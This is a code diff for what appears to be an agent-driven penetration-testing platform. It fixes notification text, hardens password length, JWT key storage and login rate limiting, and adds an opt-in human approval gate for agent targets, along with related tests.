+				t.Fatalf("%d items should not fit one message", total)
+			}
+		})
+	}
+}
+
 func TestWebhookAndEmailReportAllItems(t *testing.T) {
 	// These two channels do not truncate the body; the whole batch counts as
 	// delivered.
@@ -178,7 +289,7 @@ func TestMarkdownEscapesUntrustedContent(t *testing.T) {
 			// writeItem in single mode is the rendering path shared by all three
 			// markdown channels.
 			var b strings.Builder
-			writeItem(&b, tc.item, "", true)
+			writeItem(&b, tc.item, "", true, m.limits())
 			got := b.String()
 			for _, want := range tc.must {
 				if !strings.Contains(got, want) {

notify/render.go

@@ -149,7 +149,7 @@ func byteSize(s string) int { return len(s) }
 func runeSize(s string) int { return utf8.RuneCountInString(s) }
 
 // assetLine renders an asset list into one line of display text; when there are
-// more than limit assets, the rest are omitted and the total is noted. A
+// more than limit assets, the rest are omitted and their count is noted. A
 // vulnerability can be anchored to dozens of assets, and listing them all would
 // blow up the message.
 func assetLine(assets []string, limit int) string {
@@ -159,7 +159,7 @@ func assetLine(assets []string, limit int) string {
 	if limit <= 0 || len(assets) <= limit {
 		return strings.Join(assets, ", ")
 	}
-	return strings.Join(assets[:limit], ", ") + " and " + itoa(len(assets)) + " more"
+	return strings.Join(assets[:limit], ", ") + " and " + itoa(len(assets)-limit) + " more"
 }
 
 // itoa is a short alias for strconv.Itoa, used only for assembling display text,

notify/render_test.go

@@ -113,11 +113,13 @@ func TestAssetLineOmitsExcess(t *testing.T) {
 	if got := assetLine([]string{"a", "b"}, 3); got != "a, b" {
 		t.Fatalf("within the limit everything should be listed, got %q", got)
 	}
-	// Over the limit the total must be noted, otherwise readers cannot tell how
-	// many assets were left out.
-	got := assetLine([]string{"a", "b", "c", "d", "e"}, 2)
-	if !strings.Contains(got, "and 5 more") {
-		t.Fatalf("the total of 5 should be noted, got %q", got)
+	// Over the limit the number of omitted assets must be noted, otherwise
+	// readers cannot tell how many assets were left out.
+	if got := assetLine([]string{"a", "b", "c", "d", "e"}, 2); got != "a, b and 3 more" {
+		t.Fatalf("5 assets with limit 2 should note the 3 omitted, got %q", got)
+	}
+	if got := assetLine([]string{"a", "b", "c", "d", "e", "f", "g", "h"}, 3); got != "a, b, c and 5 more" {
+		t.Fatalf("8 assets with limit 3 should note the 5 omitted, got %q", got)
 	}
 }
 

notify/telegram.go

@@ -115,6 +115,7 @@ func telegramEndpoint(cfg map[string]any) (string, error) {
 // telegramHTML renders the HTML body and returns it together with the number of
 // items actually written (see Channel.Send).
 func telegramHTML(m Message) (string, int) {
+	lim := m.limits()
 	var b strings.Builder
 	b.WriteString("<b>" + telegramEscape(markdownTitle(m)) + "</b>\n")
 	if m.Batch {
@@ -125,13 +126,13 @@ func telegramHTML(m Message) (string, int) {
 			footer = fmt.Sprintf("\n\n<a href=\"%s\">View all on the platform</a>", telegramEscapeAttr(m.HomeURL))
 		}
 		kept := packItemCount(m.Items, telegramTextLimit, telegramReservedRunes, footer, runeSize, func(it Item, idx int) string {
-			return telegramBatchLine(it, idx+1)
+			return telegramBatchLine(it, idx+1, lim)
 		})
 		items := m.Items[:kept]
 		b.Reset()
 		b.WriteString("<b>" + telegramEscape(telegramBatchTitle(m, items, len(m.Items))) + "</b>")
 		for i, it := range items {
-			b.WriteString("\n" + telegramEscape(telegramBatchLine(it, i+1)))
+			b.WriteString("\n" + telegramEscape(telegramBatchLine(it, i+1, lim)))
 		}
 		b.WriteString(footer)
 		return TruncateHTML(b.String(), telegramTextLimit), kept
@@ -147,10 +148,10 @@ func telegramHTML(m Message) (string, int) {
 	if it.VulnClass != "" && it.VulnClass != it.Title() {
 		b.WriteString("\n<b>Type</b>: " + telegramEscape(it.VulnClass))
 	}
-	if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+	if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 		b.WriteString("\n<b>Assets</b>: " + telegramEscape(a))
 	}
-	if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
+	if s := OneLine(it.Summary, lim.SummaryRunes); s != "" {
 		b.WriteString("\n<b>Summary</b>: " + telegramEscape(s))
 	}
 	if it.DetailURL != "" {
@@ -165,8 +166,8 @@ const telegramReservedRunes = 160
 
 // telegramBatchLine renders one entry of a digest (unescaped; the caller escapes
 // it uniformly).
-func telegramBatchLine(it Item, idx int) string {
-	if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+func telegramBatchLine(it Item, idx int, lim Limits) string {
+	if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 		return fmt.Sprintf("%d. %s · %s — %s", idx, SeverityLabel(it.Severity), it.Title(), a)
 	}
 	return fmt.Sprintf("%d. %s · %s", idx, SeverityLabel(it.Severity), it.Title())

reset-password.sh

@@ -14,7 +14,7 @@
 #
 # Usage examples:
 #   ./reset-password.sh                          # local, auto-reads config.json/env, prompts for the new password
-#   ./reset-password.sh -p 'NewPass!'            # local, new password given directly
+#   ./reset-password.sh -p 'New-Passphrase!'     # local, new password given directly (at least 12 characters)
 #   ./reset-password.sh --dsn postgres://u:p@h:5432/artex
 #   ./reset-password.sh -H 127.0.0.1 -P 5433 -U autopentest -W pass -d artex
 #   ./reset-password.sh -m docker                # docker deployment (reads POSTGRES_* from .env)
@@ -95,7 +95,7 @@ PY
 }
 
 apply_config_fields() {
-  local line key val
+  local key val
   while IFS=$'\t' read -r key val; do
     [[ -z "$key" ]] && continue
     case "$key" in
@@ -130,6 +130,10 @@ if [[ -z "$NEWPASS" ]]; then
   [[ "$NEWPASS" == "$NEWPASS2" ]] || die "the two entries do not match"
 fi
 [[ -n "$NEWPASS" ]] || die "password cannot be empty"
+# Same minimum as the server (minPasswordRunes in server/auth.go), counted in
+# characters like the server: UTF-8 bytes minus continuation bytes, whatever the locale.
+NEWPASS_CHARS=$(printf '%s' "$NEWPASS" | LC_ALL=C tr -d '\200-\277' | wc -c)
+(( NEWPASS_CHARS >= 12 )) || die "password must be at least 12 characters"
 
 # Hand the password to psql via environment variable (read with \getenv, never in argv/ps)
 export ARTEX_RESET_NEWPASS="$NEWPASS"

scripts/backup.sh

@@ -31,7 +31,9 @@ while [ $# -gt 0 ]; do
     *) echo "unknown option: $1" >&2; usage >&2; exit 2 ;;
   esac
 done
-case "$KEEP" in (*[!0-9]*|'') echo "--keep must be a positive integer" >&2; exit 2 ;; esac
+# 0* rejects 0, which would make prune delete the dump this run just wrote, and
+# leading zeros, which $((KEEP + 1)) would read as octal.
+case "$KEEP" in (*[!0-9]*|''|0*) echo "--keep must be a positive integer" >&2; exit 2 ;; esac
 
 # Compose reads .env for credentials; source it for the dump command too.
 if [ -f .env ]; then

scripts/benchmark/README.md

@@ -58,7 +58,7 @@ Standing rules, enforced by the runner:
 cd scripts/benchmark
 
 # against a locally deployed ARTEX, with an independent judge endpoint
-ARTEX_TOKEN=<jwt or mint via ARTEX_JWT_KEY=/app/jwt.key copy> \
+ARTEX_TOKEN=<jwt or mint via ARTEX_JWT_KEY=/app/keys/jwt.key copy> \
 JUDGE_BASE_URL=https://api.example.com JUDGE_MODEL=<other-model> JUDGE_API_KEY=... \
 python3 run_bench.py --corpus juice-shop --subject-model glm-5.3
 ```

server/auth.go

@@ -10,12 +10,15 @@ import (
 	"net/http"
 	"os"
 	"path/filepath"
+	"strconv"
 	"strings"
 	"time"
 	"unicode/utf8"
 
 	"github.com/golang-jwt/jwt/v5"
 	"golang.org/x/crypto/bcrypt"
+
+	"github.com/Autumn-27/artex/config"
 )
 
 const (
@@ -27,7 +30,9 @@ const (
 	// The lower bound matches the setup page's frontend validation — validation that
 	// lives only in the frontend is as good as none: hitting the API directly bypasses
 	// it. The upper bound is bcrypt's hard limit: past 72 bytes GenerateFromPassword returns ErrPasswordTooLong; rejecting early beats a cryptic "password encryption failed".
-	minPasswordRunes = 8
+	// Both apply to new passwords only (init, change-password); login never checks
+	// length, so passwords set under the old 8-character minimum still log in.
+	minPasswordRunes = 12
 	maxPasswordBytes = 72
 )
 
@@ -47,28 +52,38 @@ func validatePassword(pw string) string {
 	return ""
 }
 
+// jwtLegacyBaseDir is the second legacy key location (the executable's directory,
+// where releases before ARTEX_JWT_KEY_DIR wrote the key). A var so tests can point it
+// at a temp dir.
+var jwtLegacyBaseDir = config.BaseDir
+
 // loadOrCreateJWTKey reads the 32-byte signing key from keyDir/jwt.key. keyDir is
-// the project base dir (next to the executable), NOT the browsable workspace root
-// (dataDir) — the signing key must never be listable/downloadable via the file
-// manager. Legacy installs kept it at dataDir/jwt.key; if present there and not yet
-// at the new location, it is migrated (key preserved, so sessions stay valid) and
-// the old file removed so it disappears from the workspace. On first run a random
-// key is generated and persisted.
+// ARTEX_JWT_KEY_DIR (the /app/keys volume in Docker) or the project base dir, NOT
+// the browsable workspace root (dataDir) — the signing key must never be
+// listable/downloadable via the file manager. When keyDir/jwt.key is missing, a key
+// at dataDir/jwt.key, then at BaseDir()/jwt.key, is migrated (key preserved, so
+// sessions stay valid) and the old file removed. Otherwise a random key is
+// generated. An existing key file is never overwritten.
 func loadOrCreateJWTKey(keyDir, dataDir string) ([]byte, error) {
+	if err := os.MkdirAll(keyDir, 0o700); err != nil {
+		return nil, fmt.Errorf("create jwt key dir: %w", err)
+	}
 	path := filepath.Join(keyDir, jwtKeyFilename)
-	// one-time migration out of the old in-workspace location.
-	if legacy := filepath.Join(dataDir, jwtKeyFilename); legacy != path {
-		if _, err := os.Stat(path); os.IsNotExist(err) {
-			if data, rerr := os.ReadFile(legacy); rerr == nil {
-				if werr := os.WriteFile(path, data, 0o600); werr == nil {
-					_ = os.Remove(legacy)
-					log.Printf("[auth] JWT key migrated from %s to %s (moved out of the browsable workspace)", legacy, path)
-				}
-			}
+	if _, err := os.Stat(path); os.IsNotExist(err) {
+		if err := migrateJWTKey(path, dataDir); err != nil {
+			return nil, err
 		}
 	}
-	if data, err := os.ReadFile(path); err == nil && len(strings.TrimSpace(string(data))) >= 32 {
-		return []byte(strings.TrimSpace(string(data))), nil
+	data, err := os.ReadFile(path)
+	if err == nil {
+		key := strings.TrimSpace(string(data))
+		if len(key) < 32 {
+			return nil, fmt.Errorf("jwt key %s is shorter than 32 bytes; fix or remove it (it is never overwritten)", path)
+		}
+		return []byte(key), nil
+	}
+	if !os.IsNotExist(err) {
+		return nil, fmt.Errorf("read jwt key: %w", err)
 	}
 	buf := make([]byte, 32)
 	for i := range buf {
@@ -78,13 +93,71 @@ func loadOrCreateJWTKey(keyDir, dataDir string) ([]byte, error) {
 		}
 		buf[i] = keyChars[n.Int64()]
 	}
-	if err := os.WriteFile(path, buf, 0600); err != nil {
+	if err := writeNewJWTKey(path, buf); err != nil {
 		return nil, fmt.Errorf("write jwt key: %w", err)
 	}
 	log.Printf("[auth] new JWT key written to %s", path)
 	return buf, nil
 }
 
+// migrateJWTKey copies the first legacy key found (dataDir, then BaseDir) to dst
+// and removes the old file. Candidates equal to dst are skipped.
+func migrateJWTKey(dst, dataDir string) error {
+	for _, src := range []string{
+		filepath.Join(dataDir, jwtKeyFilename),
+		filepath.Join(jwtLegacyBaseDir(), jwtKeyFilename),
+	} {
+		if samePath(src, dst) {
+			continue
+		}
+		data, err := os.ReadFile(src)
+		if os.IsNotExist(err) {
+			continue
+		}
+		if err != nil {
+			log.Printf("[auth] cannot read legacy JWT key %s: %v", src, err)
+			continue
+		}
+		if err := writeNewJWTKey(dst, data); err != nil {
+			return fmt.Errorf("migrate jwt key from %s: %w", src, err)
+		}
+		if err := os.Remove(src); err != nil {
+			log.Printf("[auth] JWT key copied to %s but the old file %s could not be removed: %v", dst, src, err)
+		}
+		log.Printf("[auth] JWT key migrated from %s to %s", src, dst)
+		return nil
+	}
+	return nil
+}
+
+// writeNewJWTKey creates path with mode 0600, failing if it already exists.
+func writeNewJWTKey(path string, data []byte) error {
+	f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600)
+	if err != nil {
+		return err
+	}
+	if _, err := f.Write(data); err != nil {
+		f.Close()
+		_ = os.Remove(path)
+		return err
+	}
+	if err := f.Close(); err != nil {
+		_ = os.Remove(path)
+		return err
+	}
+	return nil
+}
+
+func samePath(a, b string) bool {
+	if absA, err := filepath.Abs(a); err == nil {
+		a = absA
+	}
+	if absB, err := filepath.Abs(b); err == nil {
+		b = absB
+	}
+	return a == b
+}
+
 // signJWT issues a 7-day HS256 token for user ARTEX.
 func signJWT(key []byte) (string, error) {
 	return jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.RegisteredClaims{
@@ -105,6 +178,28 @@ func verifyJWT(tokenStr string, key []byte) bool {
 	return err == nil && t.Valid
 }
 
+// jwtSubject returns the subject of tokenStr when it is a valid, non-expired
+// HS256 token, and "" otherwise.
+func jwtSubject(tokenStr string, key []byte) string {
+	var claims jwt.RegisteredClaims
+	t, err := jwt.ParseWithClaims(tokenStr, &claims, func(t *jwt.Token) (any, error) {
+		if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
+			return nil, fmt.Errorf("unexpected signing method")
+		}
+		return key, nil
+	})
+	if err != nil || !t.Valid {
+		return ""
+	}
+	return claims.Subject
+}
+
+// approver is who a human decision is recorded for: the subject of the
+// request's session token.
+func (s *Server) approver(r *http.Request) string {
+	return jwtSubject(extractToken(r), s.jwtKey)
+}
+
 // extractToken reads the JWT from Authorization: Bearer header,
 // artex_token cookie, or ?token= query param (for SSE connections).
 func extractToken(r *http.Request) string {
@@ -302,6 +397,21 @@ func (s *Server) authLogin(w http.ResponseWriter, r *http.Request) {
 	if pg == nil {
 		return
 	}
+	s.login(w, r, pg.GetSetting)
+}
+
+// login is authLogin past the data-source check; getSetting is pg.GetSetting,
+// a parameter so tests can run it without PostgreSQL. Every attempt counts
+// against the caller's IP (s.loginLimit, keyed by clientIP) and a successful
+// one clears it. There is no per-account lockout and no password length check here.
+func (s *Server) login(w http.ResponseWriter, r *http.Request, getSetting func(string) (string, bool, error)) {
+	ip := clientIP(r, s.trustedProxies)
+	if wait := s.loginLimit.allow(ip); wait > 0 {
+		secs := int((wait + time.Second - 1) / time.Second)
+		w.Header().Set("Retry-After", strconv.Itoa(secs))
+		writeErr(w, 429, fmt.Sprintf("Too many login attempts, try again in %d seconds", secs))
+		return
+	}
 	var req struct {
 		Username string `json:"username"`
 		Password string `json:"password"`
@@ -314,7 +424,7 @@ func (s *Server) authLogin(w http.ResponseWriter, r *http.Request) {
 		writeErr(w, 401, "Incorrect username or password")
 		return
 	}
-	hash, ok, err := pg.GetSetting(authPassKey)
+	hash, ok, err := getSetting(authPassKey)
 	if err != nil {
 		writeErr(w, 503, errDataSourceUnavailable)
 		return
@@ -327,6 +437,7 @@ func (s *Server) authLogin(w http.ResponseWriter, r *http.Request) {
 		writeErr(w, 401, "Incorrect username or password")
 		return
 	}
+	s.loginLimit.reset(ip)
 	tok, err := signJWT(s.jwtKey)
 	if err != nil {
 		writeErr(w, 500, "token generation failed")

server/auth_test.go

@@ -3,10 +3,188 @@ package server
 import (
 	"encoding/json"
 	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"runtime"
 	"strings"
 	"testing"
 )
 
+// jwtKeyDirs returns fresh key, data and legacy base dirs and points
+// jwtLegacyBaseDir at the latter for the duration of the test. keyDir does not
+// exist yet, so loadOrCreateJWTKey has to create it.
+func jwtKeyDirs(t *testing.T) (keyDir, dataDir, baseDir string) {
+	t.Helper()
+	root := t.TempDir()
+	keyDir = filepath.Join(root, "keys")
+	dataDir = filepath.Join(root, "data")
+	baseDir = filepath.Join(root, "base")
+	for _, d := range []string{dataDir, baseDir} {
+		if err := os.MkdirAll(d, 0o755); err != nil {
+			t.Fatal(err)
+		}
+	}
+	old := jwtLegacyBaseDir
+	jwtLegacyBaseDir = func() string { return baseDir }
+	t.Cleanup(func() { jwtLegacyBaseDir = old })
+	return keyDir, dataDir, baseDir
+}
+
+// assertKeyFileMode checks for 0600. Windows has no Unix permission bits (Go
+// reports 0666 or 0444), so the check is skipped there.
+func assertKeyFileMode(t *testing.T, path string) {
+	t.Helper()
+	fi, err := os.Stat(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if runtime.GOOS == "windows" {
+		t.Logf("mode check skipped on windows (got %v)", fi.Mode().Perm())
+		return
+	}
+	if got := fi.Mode().Perm(); got != 0o600 {
+		t.Fatalf("%s mode=%v want 0600", path, got)
+	}
+}
+
+func assertMissing(t *testing.T, path string) {
+	t.Helper()
+	if _, err := os.Stat(path); !os.IsNotExist(err) {
+		t.Fatalf("%s should not exist (stat err=%v)", path, err)
+	}
+}
+
+func TestLoadOrCreateJWTKeyMigrates(t *testing.T) {
+	const legacyKey = "legacy-key-0123456789abcdefghijkl"
+	for _, src := range []string{"data", "base"} {
+		t.Run(src, func(t *testing.T) {
+			keyDir, dataDir, baseDir := jwtKeyDirs(t)
+			legacy := filepath.Join(dataDir, jwtKeyFilename)
+			if src == "base" {
+				legacy = filepath.Join(baseDir, jwtKeyFilename)
+			}
+			if err := os.WriteFile(legacy, []byte(legacyKey+"\n"), 0o644); err != nil {
+				t.Fatal(err)
+			}
+
+			key, err := loadOrCreateJWTKey(keyDir, dataDir)
+			if err != nil {
+				t.Fatal(err)
+			}
+			if string(key) != legacyKey {
+				t.Fatalf("key=%q want the migrated %q", key, legacyKey)
+			}
+			path := filepath.Join(keyDir, jwtKeyFilename)
+			data, err := os.ReadFile(path)
+			if err != nil {
+				t.Fatal(err)
+			}
+			if string(data) != legacyKey+"\n" {
+				t.Fatalf("migrated file content=%q, want the legacy bytes unchanged", data)
+			}
+			assertKeyFileMode(t, path)
+			assertMissing(t, legacy)
+		})
+	}
+}
+
+func TestLoadOrCreateJWTKeyMigratesDataDirFirst(t *testing.T) {
+	keyDir, dataDir, baseDir := jwtKeyDirs(t)
+	dataKey := "data-key-0123456789abcdefghijklmn"
+	baseKey := "base-key-0123456789abcdefghijklmn"
+	if err := os.WriteFile(filepath.Join(dataDir, jwtKeyFilename), []byte(dataKey), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(baseDir, jwtKeyFilename), []byte(baseKey), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	key, err := loadOrCreateJWTKey(keyDir, dataDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(key) != dataKey {
+		t.Fatalf("key=%q want the dataDir key", key)
+	}
+	assertMissing(t, filepath.Join(dataDir, jwtKeyFilename))
+}
+
+func TestLoadOrCreateJWTKeyGenerates(t *testing.T) {
+	keyDir, dataDir, _ := jwtKeyDirs(t)
+	key, err := loadOrCreateJWTKey(keyDir, dataDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(key) != 32 {
+		t.Fatalf("len(key)=%d want 32", len(key))
+	}
+	path := filepath.Join(keyDir, jwtKeyFilename)
+	data, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(data) != 32 || string(data) != string(key) {
+		t.Fatalf("file holds %d bytes, want the 32 returned", len(data))
+	}
+	assertKeyFileMode(t, path)
+	assertMissing(t, filepath.Join(dataDir, jwtKeyFilename))
+
+	again, err := loadOrCreateJWTKey(keyDir, dataDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(again) != string(key) {
+		t.Fatal("second load returned a different key")
+	}
+}
+
+func TestLoadOrCreateJWTKeyNeverOverwrites(t *testing.T) {
+	keyDir, dataDir, baseDir := jwtKeyDirs(t)
+	if err := os.MkdirAll(keyDir, 0o700); err != nil {
+		t.Fatal(err)
+	}
+	path := filepath.Join(keyDir, jwtKeyFilename)
+	current := "current-key-0123456789abcdefghijk"
+	if err := os.WriteFile(path, []byte(current), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	// legacy keys must not replace the current one, and are left alone.
+	legacyData := filepath.Join(dataDir, jwtKeyFilename)
+	legacyBase := filepath.Join(baseDir, jwtKeyFilename)
+	for _, p := range []string{legacyData, legacyBase} {
+		if err := os.WriteFile(p, []byte("legacy-key-0123456789abcdefghijkl"), 0o600); err != nil {
+			t.Fatal(err)
+		}
+	}
+	key, err := loadOrCreateJWTKey(keyDir, dataDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(key) != current {
+		t.Fatalf("key=%q want the existing %q", key, current)
+	}
+	for _, p := range []string{legacyData, legacyBase} {
+		if _, err := os.Stat(p); err != nil {
+			t.Fatalf("legacy key %s should be untouched: %v", p, err)
+		}
+	}
+
+	// a short (invalid) key is an error, not a reason to replace it.
+	short := "too-short"
+	if err := os.WriteFile(path, []byte(short), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := loadOrCreateJWTKey(keyDir, dataDir); err == nil {
+		t.Fatal("want an error for a short key")
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(data) != short {
+		t.Fatalf("short key was overwritten with %d bytes", len(data))
+	}
+}
+
 // GetSetting distinguishes "key absent" from "read failed" only through its error:
 // both return an empty value. If a password handler mistakes the error for "no
 // password set yet", a database blip opens the init door — authInit would let an
@@ -124,10 +302,11 @@ func TestValidatePassword(t *testing.T) {
 		wantErr  bool
 	}{
 		{"empty", "", true},
-		{"seven chars", "1234567", true},
-		{"eight chars", "12345678", false},
-		{"eight multibyte chars counted as runes not bytes", strings.Repeat("€", 8), false},
-		{"three chars reach 9 bytes but only 3 runes", strings.Repeat("€", 3), true},
+		{"eight chars, the old minimum", "12345678", true},
+		{"eleven chars", "12345678901", true},
+		{"twelve chars", "123456789012", false},
+		{"twelve multibyte chars counted as runes not bytes", strings.Repeat("€", 12), false},
+		{"four chars reach 12 bytes but only 4 runes", strings.Repeat("€", 4), true},
 		{"72 bytes", strings.Repeat("a", 72), false},
 		{"73 bytes exceeds the bcrypt cap", strings.Repeat("a", 73), true},
 	} {

server/claim_heartbeat_test.go

@@ -0,0 +1,102 @@
+package server
+
+import (
+	"context"
+	"errors"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/agent"
+	"github.com/Autumn-27/artex/db"
+)
+
+// The worker-side heartbeat must keep a claim alive while it runs and, once
+// another worker has taken the intent over, cancel the stale run with the named
+// claim-lost cause instead of carrying on.
+func TestClaimHeartbeatRenewsThenCancelsOnTakeover(t *testing.T) {
+	skipWithoutDSN(t)
+	dsn, _, err := db.DSN()
+	if err != nil {
+		t.Fatal(err)
+	}
+	d, err := db.Open(dsn)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+	expID, err := d.CreateExploration("claim heartbeat", "renew, then stop on takeover")
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Exec(`DELETE FROM explorations WHERE id=$1`, expID)
+	store := d.Exploration(expID)
+	id, err := store.AddIntent(map[string]any{"summary": "leased"}, 1, nil, "planner")
+	if err != nil {
+		t.Fatal(err)
+	}
+	token, err := store.ClaimIntentToken(id, "work#1")
+	if err != nil || token == "" {
+		t.Fatalf("claim: token=%q err=%v", token, err)
+	}
+	expire := func() {
+		t.Helper()
+		if _, err := d.Exec(`UPDATE exploration_nodes SET last_heartbeat_at = now() - $2 * INTERVAL '1 second' WHERE id=$1`,
+			id, (db.IntentClaimTTL + time.Second).Seconds()); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	ctx, cancel := context.WithCancelCause(context.Background())
+	defer cancel(nil)
+	stop := startClaimHeartbeat(store, 20*time.Millisecond, "work#1", id, token, cancel)
+	defer stop()
+
+	// Renewal: an expired-looking heartbeat is refreshed by the next ticks.
+	expire()
+	deadline := time.Now().Add(5 * time.Second)
+	for {
+		var fresh bool
+		if err := d.QueryRow(`SELECT last_heartbeat_at > now() - INTERVAL '30 seconds' FROM exploration_nodes WHERE id=$1`, id).Scan(&fresh); err != nil {
+			t.Fatal(err)
+		}
+		if fresh {
+			break
+		}
+		if time.Now().After(deadline) {
+			t.Fatal("heartbeat did not renew the claim")
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	if ctx.Err() != nil {
+		t.Fatalf("run cancelled while its claim was live: %v", context.Cause(ctx))
+	}
+
+	// Takeover: expire the claim and reclaim it before the next heartbeat lands
+	// (retried, because a heartbeat may win the race and renew the claim first).
+	var reclaimed int64
+	for attempt := 0; attempt < 200 && reclaimed == 0; attempt++ {
+		expire()
+		if reclaimed, err = store.ResetRunningIntents(); err != nil {
+			t.Fatal(err)
+		}
+	}
+	if reclaimed != 1 {
+		t.Fatalf("could not take the claim over: reclaimed=%d", reclaimed)
+	}
+	other, err := store.ClaimIntentToken(id, "work#2")
+	if err != nil || other == "" {
+		t.Fatalf("re-claim: token=%q err=%v", other, err)
+	}
+
+	select {
+	case <-ctx.Done():
+	case <-time.After(5 * time.Second):
+		t.Fatal("stale run was not cancelled after the takeover")
+	}
+	if cause := context.Cause(ctx); !errors.Is(cause, agent.AbortWorkClaimLost) {
+		t.Fatalf("cancel cause=%v, want AbortWorkClaimLost", cause)
+	}
+	if err := store.HeartbeatIntentClaim(id, other); err != nil {
+		t.Fatalf("new claimer lost its claim: %v", err)
+	}
+}

server/conversations.go

@@ -79,6 +79,7 @@ func (s *Server) pgCreateConversation(w http.ResponseWriter, r *http.Request) {
 		AgentKey     string `json:"agent_key"`
 		Title        string `json:"title"`
 		LLMProfileID *int64 `json:"llm_profile_id"`
+		TargetGate   bool   `json:"target_gate"` // approval gate for asset targets, opt-in
 	}
 	if !decodeConversationRequest(w, r, &req) {
 		return
@@ -115,7 +116,7 @@ func (s *Server) pgCreateConversation(w http.ResponseWriter, r *http.Request) {
 		writeErr(w, 400, fmt.Sprintf("Title must be at most %d characters", maxConversationTitleRunes))
 		return
 	}
-	c, err := pg.CreateConversation(req.AgentKey, title, req.LLMProfileID)
+	c, err := pg.CreateConversationGated(req.AgentKey, title, req.LLMProfileID, req.TargetGate)
 	if err != nil {
 		writeErr(w, 500, err.Error())
 		return
@@ -176,14 +177,15 @@ func (s *Server) pgRenameConversation(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 	var req struct {
-		Title  *string `json:"title"`
-		Pinned *bool   `json:"pinned"`
+		Title      *string `json:"title"`
+		Pinned     *bool   `json:"pinned"`
+		TargetGate *bool   `json:"target_gate"`
 	}
 	if !decodeConversationRequest(w, r, &req) {
 		return
 	}
-	if req.Title == nil && req.Pinned == nil {
-		writeErr(w, 400, "Provide at least title or pinned")
+	if req.Title == nil && req.Pinned == nil && req.TargetGate == nil {
+		writeErr(w, 400, "Provide at least title, pinned or target_gate")
 		return
 	}
 	if req.Title != nil {
@@ -198,7 +200,7 @@ func (s *Server) pgRenameConversation(w http.ResponseWriter, r *http.Request) {
 		}
 		req.Title = &title
 	}
-	updated, err := pg.UpdateConversation(c.ID, db.ConversationPatch{Title: req.Title, Pinned: req.Pinned})
+	updated, err := pg.UpdateConversation(c.ID, db.ConversationPatch{Title: req.Title, Pinned: req.Pinned, TargetGate: req.TargetGate})
 	if err != nil {
 		writeErr(w, 500, err.Error())
 		return
@@ -558,9 +560,15 @@ func (s *Server) runConversationTurn(ctx context.Context, cancel context.CancelC
 			log.Printf("[conv %d] append activity failed: %v", c.ID, err)
 		}
 	}
+	// Approval scope of this turn's tool calls for the target gate (chat and retester).
+	// The conversation's opt-in flag is the one read when the turn started: a
+	// switch through the API applies from the next turn.
+	gate := c.TargetGate
+	gctx := intercept.WithTargetScope(ctx, intercept.TargetScope{ConversationID: c.ID, Enabled: func() bool { return gate },
+		WaitBound: intercept.DefaultTargetWaitBound, Interceptor: s.m.interceptor})
 	// On a manual stop ctx is cancelled; Chat already emits a clean "stopped by the user"
 	// step, so skip the raw-error entry — only surface genuine failures.
-	if _, err := ca.Chat(ctx, c.AgentKey, sessionID, msg, maxTurns, maxDuration, webSearch, emit); err != nil {
+	if _, err := ca.Chat(gctx, c.AgentKey, sessionID, msg, maxTurns, maxDuration, webSearch, emit); err != nil {
 		finishReason = err.Error()
 		if ctx.Err() == nil {
 			_, _ = pg.AppendConvActivity(c.ID, db.Activity{Worker: c.AgentKey, Kind: "text", IsError: true,

server/cost_ledger_test.go

@@ -9,6 +9,7 @@ import (
 // The cost ledger: profile prices (EUR per 1M tokens) turn token buckets into
 // EUR on the usage aggregation; unpriced profiles stay nil.
 func TestCostLedgerEurOnUsage(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

server/dto.go

@@ -63,6 +63,7 @@ type TaskDTO struct {
 	CompanyIDs         []int64            `json:"company_ids"`
 	CoverageEnabled    bool               `json:"coverage_enabled"` // asset coverage feature switch (fixed at creation)
 	PlanQuietMode      bool               `json:"plan_quiet_mode"`  // planner quiet-mode switch (#86), editable mid-run
+	TargetGate         bool               `json:"target_gate"`      // approval gate for asset targets, opt-in, editable mid-run
 }
 
 // FindingSeverityDTO is the per-severity finding count shown in the task list (critical/high/medium/low).
@@ -138,6 +139,7 @@ func taskDTO(t *Task, status string) TaskDTO {
 		CompanyIDs:         lifecycle.CompanyIDs,
 		CoverageEnabled:    t.CoverageEnabled,
 		PlanQuietMode:      t.PlanQuietMode,
+		TargetGate:         t.targetGate.Load(),
 	}
 }
 
@@ -312,6 +314,9 @@ type FindingDTO struct {
 	ReportEvidenceVersion int64                      `json:"report_evidence_version"`
 	ReportStale           bool                       `json:"report_stale"`
 	TrafficBindings       []db.FindingTrafficBinding `json:"traffic_bindings,omitempty"`
+	PoELevel              int                        `json:"poe_level"`
+	VerificationStatus    string                     `json:"verification_status"`
+	VerificationNote      string                     `json:"verification_note"`
 
 	ID        string `json:"id"`
 	FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates
@@ -452,6 +457,7 @@ func findingFromDB(f *db.DBFinding, assets map[int64]*db.Asset) FindingDTO {
 		FindingID:    i64s(f.ID),
